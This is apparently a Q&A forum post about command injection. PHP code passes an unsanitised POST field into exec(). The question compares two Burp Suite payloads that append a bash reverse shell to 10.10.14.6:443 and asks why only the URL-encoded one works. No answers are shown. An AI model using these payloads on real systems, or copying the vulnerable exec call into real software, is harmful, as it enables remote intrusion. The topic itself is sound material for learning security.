0

If I have the following php code:

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

why does this code work when injecting with burpsuite:

delim=comma;bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'

and this one does not:

delim=comma;bash -i >& /dev/tcp/10.10.14.6/443 0>&1
1

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.